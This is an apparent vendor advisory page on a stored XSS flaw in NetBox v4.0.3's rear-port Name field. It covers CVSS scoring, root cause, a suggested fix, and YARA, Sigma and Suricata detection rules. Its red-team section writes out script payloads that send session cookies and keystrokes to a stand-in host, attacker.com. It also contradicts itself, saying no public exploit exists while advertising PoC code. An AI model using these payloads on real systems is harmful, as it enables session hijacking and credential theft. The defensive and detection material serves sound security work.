CVE-2024-40731
Executive Summary
CVE-2024-40731 is a stored Cross-Site Scripting (XSS) vulnerability identified in NetBox v4.0.3, specifically within the /dcim/rear-ports/{id}/edit/ endpoint. An authenticated attacker with the ability to edit rear ports can inject arbitrary JavaScript or HTML into the Name parameter. When an administrator or other user views the affected rear port, the malicious payload executes in their browser session, potentially leading to session hijacking, credential theft, or further lateral movement within the NetBox instance. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity and low privileges required, but requiring user interaction. No official patch has been released, and no public exploit code or Nuclei template is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NetBox is a Python/Django-based open-source application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain of NetBox itself, but organizations using NetBox as part of their infrastructure management pipeline should treat this as a critical risk. An attacker who compromises a low-privileged NetBox account can use this XSS to escalate privileges or pivot to other systems managed by NetBox. Ensure that NetBox instances are isolated from production networks and that user access is strictly controlled.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid account with permission to edit rear ports.
- User Interaction (UI): Required (R) – The victim must view the maliciously crafted rear port.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement makes this a significant concern in multi-tenant or high-security environments.
Deep Dive & Mechanics
The vulnerability resides in the rear port edit form at /dcim/rear-ports/{id}/edit/. The Name field is not properly sanitized before being stored in the database and later rendered in the web interface. When an attacker submits a payload such as <script>alert('XSS')</script> in the Name parameter, the application stores it as-is. When an administrator or any user with view permissions accesses the rear port list or detail page, the payload is executed in their browser.
The root cause is the lack of output encoding in the template rendering the Name field. Django templates automatically escape HTML by default, but if the developer used the |safe filter or mark_safe() function, or if the field is rendered in a context where escaping is disabled, the XSS becomes possible. In NetBox v4.0.3, the rear port name is likely rendered without proper escaping in certain views.
Vulnerable vs. Patched Code
Vulnerable Code (NetBox v4.0.3):
# In views or templates, the name field is rendered without escaping
# Example template snippet:
{{ rearport.name|safe }}
Patched Code (Hypothetical fix):
# Remove the |safe filter or use escape filter explicitly
{{ rearport.name }}
Or, in the view, sanitize input:
from django.utils.html import escape
rearport.name = escape(request.POST.get('name'))
No official patch has been released. The vendor has not acknowledged the vulnerability in a public advisory.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A NetBox v4.0.3 instance with at least one user account that has permission to edit rear ports.
- Access to the
/dcim/rear-ports/{id}/edit/endpoint.
Exploitation Steps:
- Log in to NetBox with the attacker account.
- Navigate to a rear port edit page (e.g.,
/dcim/rear-ports/1/edit/). - In the
Namefield, inject a payload such as:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the rear port.
- When an administrator views the rear port list or detail page, the payload executes, sending the victim's session cookie to the attacker's server.
Alternative Payloads:
- Session hijacking:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Keylogging:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team
Detection:
- Monitor HTTP POST requests to
/dcim/rear-ports/*/edit/for suspiciousnameparameters containing<script>,onerror=, or other HTML event handlers. - Use web application firewall (WAF) rules to block common XSS patterns in the
namefield. - Review server logs for unusual outbound connections from the NetBox server (e.g., to attacker-controlled domains).
Mitigation:
- Apply input validation and output encoding as described in the patched code section.
- Restrict edit permissions for rear ports to only trusted users.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a WAF with XSS detection capabilities.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains from the NetBox server.
- Suspicious
Refererheaders pointing to/dcim/rear-ports/endpoints.
- File IOCs:
- Log entries in
/var/log/netbox/showing unusualnameparameter values.
- Log entries in
- Host IOCs:
- Unexpected JavaScript files or scripts in the browser cache of users who viewed rear ports.
- Behavioral IOCs:
- Multiple failed login attempts followed by successful rear port edits from the same IP.
- Unusual changes to rear port names containing HTML tags.
Detection Engineering
YARA Rule
rule CVE_2024_40731_XSS_NetBox {
meta:
description = "Detects XSS payloads in NetBox rear port name fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-40731"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: NetBox Rear Port XSS Attempt
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects XSS payloads in NetBox rear port name field
author: Valters IT
logsource:
category: webserver
product: netbox
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/dcim/rear-ports/*/edit/'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-40731 NetBox Rear Port XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/dcim/rear-ports/"; http_uri;
content:"edit/"; http_uri;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-40731;
)
Remediation & Mitigation
Immediate Actions:
- Disable rear port editing for non-admin users until a patch is available.
- Apply a virtual patch using a WAF to block XSS payloads in the
nameparameter. - Review and restrict user permissions for the
dcim.change_rearportpermission.
Long-term Fix:
- Upgrade to a patched version of NetBox once released.
- Implement input sanitization using Django's built-in
strip_tagsor a library likebleach. - Ensure all user-supplied data is properly escaped in templates (avoid
|safeunless absolutely necessary).
Monitoring:
- Enable detailed logging for all POST requests to
/dcim/rear-ports/*/edit/. - Set up alerts for any outbound connections from the NetBox server to unknown IPs.
Valters IT
Securing your infrastructure, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.